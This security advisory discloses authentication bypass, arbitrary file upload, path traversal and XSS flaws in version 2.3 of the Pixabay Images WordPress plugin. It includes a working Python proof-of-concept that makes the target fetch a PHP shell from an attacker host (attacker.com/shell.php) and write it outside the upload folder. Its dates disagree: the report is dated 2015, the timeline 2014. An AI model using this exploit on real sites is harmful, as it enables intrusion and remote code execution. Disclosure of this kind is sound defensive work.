Mogwai Security Advisory MSA-2015-01
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  Title:              WP Pixarbay Images Multiple Vulnerabilities
  Product:            Pixarbay Images (Wordpress Plugin)
  Affected versions:  2.3
  Impact:             high
  Remote:             yes
  Product link:       https://wordpress.org/plugins/pixabay-images/
  Reported:           14/01/2015
  by:                 Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)


Vendor's Description of the Software:
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Pixabay Images is a WordPress plugin that let's you pick CC0 public 
domain pictures from Pixabay and insert them with just a click anywhere 
on your blog. The images are safe to use, and paying attribution or 
linking back to the source is not required.


Business recommendation:
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Update to version 2.4

Vulnerability description:
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1) Authentication bypass
The plugin does not correctly check if the user is logged in. Certain
code can be called without authentication

2) Arbitrary file upload
The plugin code does not validate the host in the provided download URL,
which allows to upload malicious files, including PHP code.

3) Path Traversal
Certain values are not sanitized before they are used in a file operation.
This allows to store files outside of the "download" folder. 

4) Cross Site Scripting (XSS)
The generated author link uses unsanitized user values which can be
abused for Cross Site Scripting (XSS) attacks. 


Proof of concept:
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The following PoC Python script can be used to download PHP files from
a attacker controlled host.

#!/usr/bin/env python

import argparse
import httplib, urllib
from urlparse import urlparse

def exploit(target_url, shellcode_url):

  target = urlparse(target_url)

  params = urllib.urlencode({'pixabay_upload': 1, 'image_url': shellcode_url,
'image_user': 'none', 'q':'xxx/../../../../../../mogwai'})
  headers = headers = {"Content-type": "application/x-www-form-urlencoded"}

  print "[+] Sending download request...."
  conn = httplib.HTTPConnection(target.netloc)
  conn.request("POST", target.path + "/wp-admin/", params, headers)

  response = conn.getresponse()
  response_data = response.read()
  if response.status != 200 and response_data != "Error: File attachment metadata
error":
    print "[-] Something went wrong"
    print response_data
    exit()

  conn.close()


# ---- Main code ----------------
parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="The target url, for example
https://foo.bar/blog/")
parser.add_argument("shellcode_url", help="The url of the PHP file that should
be uploaded, for example: https://attacker.com/shell.php")

print "----------------------------------------------"
print " pixabay upload wordpress plugin exploit PoC"
print " Mogwai security"
print "----------------------------------------------"

arguments = parser.parse_args()
exploit(arguments.target_url, arguments.shellcode_url)




Vulnerable / tested versions:
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Pixabay Images 2.3


Disclosure timeline:
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14/01/2014: Reporting issues to the plugin author
15/01/2014: Release of fixed version (2.4)
19/01/2014: Public advisory


Advisory URL:
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https://www.mogwaisecurity.de/#lab


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Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

info@mogwaisecurity.de